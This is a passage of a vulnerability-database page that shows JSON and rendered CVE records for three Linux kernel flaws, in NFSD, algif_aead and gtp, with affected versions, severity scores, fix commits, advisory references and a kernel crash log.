              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.295",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.220",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.24",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.16.10",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.17",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nNFSD: Fix ia_size underflow\n\niattr::ia_size is a loff_t, which is a signed 64-bit type. NFSv3 and\nNFSv4 both define file size as an unsigned 64-bit type. Thus there\nis a range of valid file size values an NFS client can send that is\nalready larger than Linux can handle.\n\nCurrently decode_fattr4() dumps a full u64 value into ia_size. If\nthat value happens to be larger than S64_MAX, then ia_size\nunderflows. I\u0027m about to fix up the NFSv3 behavior as well, so let\u0027s\ncatch the underflow in the common code path: nfsd_setattr()."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T18:47:55.704Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/d2211e6e34d0755f35e2f8c22d81999fa81cfc71"
        },
        {
          "url": "https://git.kernel.org/stable/c/38d02ba22e43b6fc7d291cf724bc6e3b7be6626b"
        },
        {
          "url": "https://git.kernel.org/stable/c/8e0ecaf7a7e57b30284d6b3289cc436100fadc48"
        },
        {
          "url": "https://git.kernel.org/stable/c/da22ca1ad548429d7822011c54cfe210718e0aa7"
        },
        {
          "url": "https://git.kernel.org/stable/c/e6faac3f58c7c4176b66f63def17a34232a17b0e"
        }
      ],
      "title": "NFSD: Fix ia_size underflow",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2022-48828",
    "datePublished": "2024-07-16T11:44:12.660Z",
    "dateReserved": "2024-07-16T11:38:08.903Z",
    "dateUpdated": "2026-05-12T10:12:33.658Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2026-31431 (GCVE-0-2026-31431)

Vulnerability from cvelistv5 – Published: 2026-04-22 08:15 – Updated: 2026-05-12 12:09

Title

crypto: algif_aead - Revert to operating out-of-place

Summary

In the Linux kernel, the following vulnerability has been resolved: crypto: algif_aead - Revert to operating out-of-place This mostly reverts commit 72548b093ee3 except for the copying of the associated data. There is no benefit in operating in-place in algif_aead since the source and destination come from different mappings. Get rid of all the complexity added for in-place operation and just copy the AD directly.

Severity ?

7.8 (High)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE

CWE-669 - Incorrect Resource Transfer Between Spheres

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/893d22e0135fa394d…
https://git.kernel.org/stable/c/19d43105a97be0810…
https://git.kernel.org/stable/c/961cfa271a918ad4a…
https://git.kernel.org/stable/c/3115af9644c342b35…
https://git.kernel.org/stable/c/8b88d99341f139e23…
https://git.kernel.org/stable/c/fafe0fa2995a0f707…
https://git.kernel.org/stable/c/ce42ee423e58dffa5…
https://git.kernel.org/stable/c/a664bf3d603dc3bdc…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 72548b093ee38a6d4f2a19e6ef1948ae05c181f7 , < 893d22e0135fa394db81df88697fba6032747667 (git) Affected: 72548b093ee38a6d4f2a19e6ef1948ae05c181f7 , < 19d43105a97be0810edbda875f2cd03f30dc130c (git) Affected: 72548b093ee38a6d4f2a19e6ef1948ae05c181f7 , < 961cfa271a918ad4ae452420e7c303149002875b (git) Affected: 72548b093ee38a6d4f2a19e6ef1948ae05c181f7 , < 3115af9644c342b356f3f07a4dd1c8905cd9a6fc (git) Affected: 72548b093ee38a6d4f2a19e6ef1948ae05c181f7 , < 8b88d99341f139e23bdeb1027a2a3ae10d341d82 (git) Affected: 72548b093ee38a6d4f2a19e6ef1948ae05c181f7 , < fafe0fa2995a0f7073c1c358d7d3145bcc9aedd8 (git) Affected: 72548b093ee38a6d4f2a19e6ef1948ae05c181f7 , < ce42ee423e58dffa5ec03524054c9d8bfd4f6237 (git) Affected: 72548b093ee38a6d4f2a19e6ef1948ae05c181f7 , < a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5 (git)
Linux	Linux	Affected: 4.14 Unaffected: 0 , < 4.14 (semver) Unaffected: 5.10.254 , ≤ 5.10.* (semver) Unaffected: 5.15.204 , ≤ 5.15.* (semver) Unaffected: 6.1.170 , ≤ 6.1.* (semver) Unaffected: 6.6.137 , ≤ 6.6.* (semver) Unaffected: 6.12.85 , ≤ 6.12.* (semver) Unaffected: 6.18.22 , ≤ 6.18.* (semver) Unaffected: 6.19.12 , ≤ 6.19.* (semver) Unaffected: 7.0 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-31431",
                "options": [
                  {
                    "Exploitation": "active"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-04-29T00:00:00+00:00",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          },
          {
            "other": {
              "content": {
                "dateAdded": "2026-05-01",
                "reference": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-31431"
              },
              "type": "kev"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "cweId": "CWE-669",
                "description": "CWE-669 Incorrect Resource Transfer Between Spheres",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-02T03:55:23.146Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/theori-io/copy-fail-CVE-2026-31431"
          },
          {
            "tags": [
              "mitigation"
            ],
            "url": "https://xint.io/blog/copy-fail-linux-distributions#the-fix-6"
          },
          {
            "tags": [
              "mitigation"
            ],
            "url": "https://lore.kernel.org/linux-cve-announce/2026042214-CVE-2026-31431-3d65@gregkh/"
          },
          {
            "tags": [
              "mitigation"
            ],
            "url": "https://access.redhat.com/security/cve/cve-2026-31431#cve-details-mitigation"
          },
          {
            "tags": [
              "government-resource"
            ],
            "url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-31431"
          }
        ],
        "timeline": [
          {
            "lang": "en",
            "time": "2026-05-01T00:00:00.000Z",
            "value": "CVE-2026-31431 added to CISA KEV"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2026-05-08T20:21:41.291Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "http://www.openwall.com/lists/oss-security/2026/04/29/23"
          },
          {
            "url": "https://copy.fail"
          },
          {
            "url": "http://www.openwall.com/lists/oss-security/2026/04/29/25"
          },
          {
            "url": "http://www.openwall.com/lists/oss-security/2026/04/29/26"
          },
          {
            "url": "http://www.openwall.com/lists/oss-security/2026/04/30/2"
          },
          {
            "url": "http://www.openwall.com/lists/oss-security/2026/04/30/5"
          },
          {
            "url": "http://www.openwall.com/lists/oss-security/2026/04/30/6"
          },
          {
            "url": "http://www.openwall.com/lists/oss-security/2026/04/30/10"
          },
          {
            "url": "http://www.openwall.com/lists/oss-security/2026/04/30/11"
          },
          {
            "url": "http://www.openwall.com/lists/oss-security/2026/04/30/12"
          },
          {
            "url": "http://www.openwall.com/lists/oss-security/2026/04/30/14"
          },
          {
            "url": "http://www.openwall.com/lists/oss-security/2026/04/30/15"
          },
          {
            "url": "http://www.openwall.com/lists/oss-security/2026/04/30/16"
          },
          {
            "url": "http://www.openwall.com/lists/oss-security/2026/04/30/17"
          },
          {
            "url": "http://www.openwall.com/lists/oss-security/2026/04/30/18"
          },
          {
            "url": "https://websec.net/blog/cve-2026-31431-linux-algifaead-page-cache-write-to-root-69f38a4ccddd2db1f520f170"
          },
          {
            "url": "http://www.openwall.com/lists/oss-security/2026/04/30/20"
          },
          {
            "url": "http://www.openwall.com/lists/oss-security/2026/05/01/2"
          },
          {
            "url": "http://www.openwall.com/lists/oss-security/2026/05/01/3"
          },
          {
            "url": "http://www.openwall.com/lists/oss-security/2026/05/01/10"
          },
          {
            "url": "http://www.openwall.com/lists/oss-security/2026/05/01/12"
          },
          {
            "url": "http://www.openwall.com/lists/oss-security/2026/05/01/15"
          },
          {
            "url": "http://www.openwall.com/lists/oss-security/2026/05/01/16"
          },
          {
            "url": "http://www.openwall.com/lists/oss-security/2026/05/01/17"
          },
          {
            "url": "http://www.openwall.com/lists/oss-security/2026/05/01/18"
          },
          {
            "url": "http://www.openwall.com/lists/oss-security/2026/05/01/22"
          },
          {
            "url": "http://www.openwall.com/lists/oss-security/2026/05/01/23"
          },
          {
            "url": "http://www.openwall.com/lists/oss-security/2026/05/01/24"
          },
          {
            "url": "http://www.openwall.com/lists/oss-security/2026/05/02/4"
          },
          {
            "url": "http://www.openwall.com/lists/oss-security/2026/05/02/5"
          },
          {
            "url": "http://www.openwall.com/lists/oss-security/2026/05/02/6"
          },
          {
            "url": "http://www.openwall.com/lists/oss-security/2026/05/02/7"
          },
          {
            "url": "http://www.openwall.com/lists/oss-security/2026/05/02/8"
          },
          {
            "url": "http://www.openwall.com/lists/oss-security/2026/05/02/14"
          },
          {
            "url": "http://www.openwall.com/lists/oss-security/2026/05/02/15"
          },
          {
            "url": "http://www.openwall.com/lists/oss-security/2026/05/02/16"
          },
          {
            "url": "http://www.openwall.com/lists/oss-security/2026/05/02/17"
          },
          {
            "url": "http://www.openwall.com/lists/oss-security/2026/05/02/18"
          },
          {
            "url": "http://www.openwall.com/lists/oss-security/2026/05/02/19"
          },
          {
            "url": "http://www.openwall.com/lists/oss-security/2026/05/02/20"
          },
          {
            "url": "http://www.openwall.com/lists/oss-security/2026/05/02/21"
          },
          {
            "url": "http://www.openwall.com/lists/oss-security/2026/05/02/23"
          },
          {
            "url": "http://www.openwall.com/lists/oss-security/2026/05/02/24"
          },
          {
            "url": "http://www.openwall.com/lists/oss-security/2026/05/02/25"
          },
          {
            "url": "http://www.openwall.com/lists/oss-security/2026/05/03/3"
          },
          {
            "url": "http://www.openwall.com/lists/oss-security/2026/05/03/4"
          },
          {
            "url": "http://www.openwall.com/lists/oss-security/2026/05/03/10"
          },
          {
            "url": "http://www.openwall.com/lists/oss-security/2026/05/03/5"
          },
          {
            "url": "http://www.openwall.com/lists/oss-security/2026/05/03/6"
          },
          {
            "url": "http://www.openwall.com/lists/oss-security/2026/05/03/12"
          },
          {
            "url": "http://www.openwall.com/lists/oss-security/2026/05/03/13"
          },
          {
            "url": "http://www.openwall.com/lists/oss-security/2026/05/04/1"
          },
          {
            "url": "http://www.openwall.com/lists/oss-security/2026/05/04/2"
          },
          {
            "url": "http://www.openwall.com/lists/oss-security/2026/05/04/10"
          },
          {
            "url": "http://www.openwall.com/lists/oss-security/2026/05/04/11"
          },
          {
            "url": "http://www.openwall.com/lists/oss-security/2026/05/04/12"
          },
          {
            "url": "http://www.openwall.com/lists/oss-security/2026/05/04/13"
          },
          {
            "url": "http://www.openwall.com/lists/oss-security/2026/05/04/14"
          },
          {
            "url": "http://www.openwall.com/lists/oss-security/2026/05/04/8"
          },
          {
            "url": "http://www.openwall.com/lists/oss-security/2026/05/04/9"
          },
          {
            "url": "http://www.openwall.com/lists/oss-security/2026/05/04/24"
          },
          {
            "url": "http://www.openwall.com/lists/oss-security/2026/05/04/27"
          },
          {
            "url": "http://www.openwall.com/lists/oss-security/2026/05/04/28"
          },
          {
            "url": "http://www.openwall.com/lists/oss-security/2026/05/04/29"
          },
          {
            "url": "http://www.openwall.com/lists/oss-security/2026/05/04/31"
          },
          {
            "url": "http://www.openwall.com/lists/oss-security/2026/05/06/5"
          },
          {
            "url": "http://www.openwall.com/lists/oss-security/2026/05/07/2"
          },
          {
            "url": "http://www.openwall.com/lists/oss-security/2026/05/07/12"
          },
          {
            "url": "http://www.openwall.com/lists/oss-security/2026/05/08/13"
          },
          {
            "url": "https://www.kb.cert.org/vuls/id/260001"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "V3.1.5",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "V3.1.5",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "V3.1.5",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "V3.1.5",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIPLUS S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "V3.1.5",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T12:09:03.910Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-082556.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "crypto/af_alg.c",
            "crypto/algif_aead.c",
            "crypto/algif_skcipher.c",
            "include/crypto/if_alg.h"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "893d22e0135fa394db81df88697fba6032747667",
              "status": "affected",
              "version": "72548b093ee38a6d4f2a19e6ef1948ae05c181f7",
              "versionType": "git"
            },
            {
              "lessThan": "19d43105a97be0810edbda875f2cd03f30dc130c",
              "status": "affected",
              "version": "72548b093ee38a6d4f2a19e6ef1948ae05c181f7",
              "versionType": "git"
            },
            {
              "lessThan": "961cfa271a918ad4ae452420e7c303149002875b",
              "status": "affected",
              "version": "72548b093ee38a6d4f2a19e6ef1948ae05c181f7",
              "versionType": "git"
            },
            {
              "lessThan": "3115af9644c342b356f3f07a4dd1c8905cd9a6fc",
              "status": "affected",
              "version": "72548b093ee38a6d4f2a19e6ef1948ae05c181f7",
              "versionType": "git"
            },
            {
              "lessThan": "8b88d99341f139e23bdeb1027a2a3ae10d341d82",
              "status": "affected",
              "version": "72548b093ee38a6d4f2a19e6ef1948ae05c181f7",
              "versionType": "git"
            },
            {
              "lessThan": "fafe0fa2995a0f7073c1c358d7d3145bcc9aedd8",
              "status": "affected",
              "version": "72548b093ee38a6d4f2a19e6ef1948ae05c181f7",
              "versionType": "git"
            },
            {
              "lessThan": "ce42ee423e58dffa5ec03524054c9d8bfd4f6237",
              "status": "affected",
              "version": "72548b093ee38a6d4f2a19e6ef1948ae05c181f7",
              "versionType": "git"
            },
            {
              "lessThan": "a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5",
              "status": "affected",
              "version": "72548b093ee38a6d4f2a19e6ef1948ae05c181f7",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "crypto/af_alg.c",
            "crypto/algif_aead.c",
            "crypto/algif_skcipher.c",
            "include/crypto/if_alg.h"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "4.14"
            },
            {
              "lessThan": "4.14",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.254",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.204",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.170",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.137",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.12.*",
              "status": "unaffected",
              "version": "6.12.85",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.18.*",
              "status": "unaffected",
              "version": "6.18.22",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.19.*",
              "status": "unaffected",
              "version": "6.19.12",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "7.0",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.254",
                  "versionStartIncluding": "4.14",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.204",
                  "versionStartIncluding": "4.14",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.170",
                  "versionStartIncluding": "4.14",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.137",
                  "versionStartIncluding": "4.14",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12.85",
                  "versionStartIncluding": "4.14",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.18.22",
                  "versionStartIncluding": "4.14",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.19.12",
                  "versionStartIncluding": "4.14",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "7.0",
                  "versionStartIncluding": "4.14",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ncrypto: algif_aead - Revert to operating out-of-place\n\nThis mostly reverts commit 72548b093ee3 except for the copying of\nthe associated data.\n\nThere is no benefit in operating in-place in algif_aead since the\nsource and destination come from different mappings.  Get rid of\nall the complexity added for in-place operation and just copy the\nAD directly."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "baseScore": 7.8,
            "baseSeverity": "HIGH",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.1"
          }
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T22:08:34.612Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/893d22e0135fa394db81df88697fba6032747667"
        },
        {
          "url": "https://git.kernel.org/stable/c/19d43105a97be0810edbda875f2cd03f30dc130c"
        },
        {
          "url": "https://git.kernel.org/stable/c/961cfa271a918ad4ae452420e7c303149002875b"
        },
        {
          "url": "https://git.kernel.org/stable/c/3115af9644c342b356f3f07a4dd1c8905cd9a6fc"
        },
        {
          "url": "https://git.kernel.org/stable/c/8b88d99341f139e23bdeb1027a2a3ae10d341d82"
        },
        {
          "url": "https://git.kernel.org/stable/c/fafe0fa2995a0f7073c1c358d7d3145bcc9aedd8"
        },
        {
          "url": "https://git.kernel.org/stable/c/ce42ee423e58dffa5ec03524054c9d8bfd4f6237"
        },
        {
          "url": "https://git.kernel.org/stable/c/a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5"
        }
      ],
      "title": "crypto: algif_aead - Revert to operating out-of-place",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2026-31431",
    "datePublished": "2026-04-22T08:15:10.123Z",
    "dateReserved": "2026-03-09T15:48:24.089Z",
    "dateUpdated": "2026-05-12T12:09:03.910Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2025-21865 (GCVE-0-2025-21865)

Vulnerability from cvelistv5 – Published: 2025-03-12 09:42 – Updated: 2026-05-12 12:13

Title

gtp: Suppress list corruption splat in gtp_net_exit_batch_rtnl().

Summary

In the Linux kernel, the following vulnerability has been resolved: gtp: Suppress list corruption splat in gtp_net_exit_batch_rtnl(). Brad Spengler reported the list_del() corruption splat in gtp_net_exit_batch_rtnl(). [0] Commit eb28fd76c0a0 ("gtp: Destroy device along with udp socket's netns dismantle.") added the for_each_netdev() loop in gtp_net_exit_batch_rtnl() to destroy devices in each netns as done in geneve and ip tunnels. However, this could trigger ->dellink() twice for the same device during ->exit_batch_rtnl(). Say we have two netns A & B and gtp device B that resides in netns B but whose UDP socket is in netns A. 1. cleanup_net() processes netns A and then B. 2. gtp_net_exit_batch_rtnl() finds the device B while iterating netns A's gn->gtp_dev_list and calls ->dellink(). [ device B is not yet unlinked from netns B as unregister_netdevice_many() has not been called. ] 3. gtp_net_exit_batch_rtnl() finds the device B while iterating netns B's for_each_netdev() and calls ->dellink(). gtp_dellink() cleans up the device's hash table, unlinks the dev from gn->gtp_dev_list, and calls unregister_netdevice_queue(). Basically, calling gtp_dellink() multiple times is fine unless CONFIG_DEBUG_LIST is enabled. Let's remove for_each_netdev() in gtp_net_exit_batch_rtnl() and delegate the destruction to default_device_exit_batch() as done in bareudp. [0]: list_del corruption, ffff8880aaa62c00->next (autoslab_size_M_dev_P_net_core_dev_11127_8_1328_8_S_4096_A_64_n_139+0xc00/0x1000 [slab object]) is LIST_POISON1 (ffffffffffffff02) (prev is 0xffffffffffffff04) kernel BUG at lib/list_debug.c:58! Oops: invalid opcode: 0000 [#1] PREEMPT SMP KASAN CPU: 1 UID: 0 PID: 1804 Comm: kworker/u8:7 Tainted: G T 6.12.13-grsec-full-20250211091339 #1 Tainted: [T]=RANDSTRUCT Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.15.0-1 04/01/2014 Workqueue: netns cleanup_net RIP: 0010:[<ffffffff84947381>] __list_del_entry_valid_or_report+0x141/0x200 lib/list_debug.c:58 Code: c2 76 91 31 c0 e8 9f b1 f7 fc 0f 0b 4d 89 f0 48 c7 c1 02 ff ff ff 48 89 ea 48 89 ee 48 c7 c7 e0 c2 76 91 31 c0 e8 7f b1 f7 fc <0f> 0b 4d 89 e8 48 c7 c1 04 ff ff ff 48 89 ea 48 89 ee 48 c7 c7 60 RSP: 0018:fffffe8040b4fbd0 EFLAGS: 00010283 RAX: 00000000000000cc RBX: dffffc0000000000 RCX: ffffffff818c4054 RDX: ffffffff84947381 RSI: ffffffff818d1512 RDI: 0000000000000000 RBP: ffff8880aaa62c00 R08: 0000000000000001 R09: fffffbd008169f32 R10: fffffe8040b4f997 R11: 0000000000000001 R12: a1988d84f24943e4 R13: ffffffffffffff02 R14: ffffffffffffff04 R15: ffff8880aaa62c08 RBX: kasan shadow of 0x0 RCX: __wake_up_klogd.part.0+0x74/0xe0 kernel/printk/printk.c:4554 RDX: __list_del_entry_valid_or_report+0x141/0x200 lib/list_debug.c:58 RSI: vprintk+0x72/0x100 kernel/printk/printk_safe.c:71 RBP: autoslab_size_M_dev_P_net_core_dev_11127_8_1328_8_S_4096_A_64_n_139+0xc00/0x1000 [slab object] RSP: process kstack fffffe8040b4fbd0+0x7bd0/0x8000 [kworker/u8:7+netns 1804 ] R09: kasan shadow of process kstack fffffe8040b4f990+0x7990/0x8000 [kworker/u8:7+netns 1804 ] R10: process kstack fffffe8040b4f997+0x7997/0x8000 [kworker/u8:7+netns 1804 ] R15: autoslab_size_M_dev_P_net_core_dev_11127_8_1328_8_S_4096_A_64_n_139+0xc08/0x1000 [slab object] FS: 0000000000000000(0000) GS:ffff888116000000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 0000748f5372c000 CR3: 0000000015408000 CR4: 00000000003406f0 shadow CR4: 00000000003406f0 Stack: 0000000000000000 ffffffff8a0c35e7 ffffffff8a0c3603 ffff8880aaa62c00 ffff8880aaa62c00 0000000000000004 ffff88811145311c 0000000000000005 0000000000000001 ffff8880aaa62000 fffffe8040b4fd40 ffffffff8a0c360d Call Trace: <TASK> [<ffffffff8a0c360d>] __list_del_entry_valid include/linux/list.h:131 [inline] fffffe8040b4fc28 [<ffffffff8a0c360d>] __list_del_entry include/linux/list.h:248 [inline] fffffe8040b4fc28 [<ffffffff8a0c360d>] list_del include/linux/list.h:262 [inl ---truncated---

Severity ?

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE

CWE-787 - Out-of-bounds Write

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/7f86fb07db65a470d…
https://git.kernel.org/stable/c/33eb925c0c26e86ca…
https://git.kernel.org/stable/c/cb15bb1bde0ba97cb…
https://git.kernel.org/stable/c/b70fa591b066d52b1…
https://git.kernel.org/stable/c/9d03e7e37187ae140…
https://git.kernel.org/stable/c/ff81b14010362f618…
https://git.kernel.org/stable/c/37e7644b961600ef0…
https://git.kernel.org/stable/c/4ccacf86491d33d24…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: c986380c1d5274c4d5e935addc807d6791cc23eb , < 7f86fb07db65a470d0c11f79da551bd9466357dc (git) Affected: 5f1678346109ff3a6d229d33437fcba3cce9209d , < 33eb925c0c26e86ca540a08254806512bf911f22 (git) Affected: 036f8d814a2cd11ee8ef62b8f3e7ce5dec0ee4f3 , < cb15bb1bde0ba97cbbed9508e45210dcafec3657 (git) Affected: efec287cbac92ac6ee8312a89221854760e13b34 , < b70fa591b066d52b141fc430ffdee35b6cc87a66 (git) Affected: bb11f992f5a475bc68ef959f17a55306f0328495 , < 9d03e7e37187ae140e716377599493987fb20c5b (git) Affected: 86f73d4ab2f27deeff22ba9336ad103d94f12ac7 , < ff81b14010362f6188ca26fec22ff05e4da45595 (git) Affected: eb28fd76c0a08a47b470677c6cef9dd1c60e92d1 , < 37e7644b961600ef0beb01d3970c3034a62913af (git) Affected: eb28fd76c0a08a47b470677c6cef9dd1c60e92d1 , < 4ccacf86491d33d2486b62d4d44864d7101b299d (git)
Linux	Linux	Affected: 6.13 Unaffected: 0 , < 6.13 (semver) Unaffected: 5.4.291 , ≤ 5.4.* (semver) Unaffected: 5.10.235 , ≤ 5.10.* (semver) Unaffected: 5.15.179 , ≤ 5.15.* (semver) Unaffected: 6.1.130 , ≤ 6.1.* (semver) Unaffected: 6.6.80 , ≤ 6.6.* (semver) Unaffected: 6.12.17 , ≤ 6.12.* (semver) Unaffected: 6.13.5 , ≤ 6.13.* (semver) Unaffected: 6.14 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "LOCAL",
              "availabilityImpact": "HIGH",
              "baseScore": 5.5,
              "baseSeverity": "MEDIUM",
              "confidentialityImpact": "NONE",
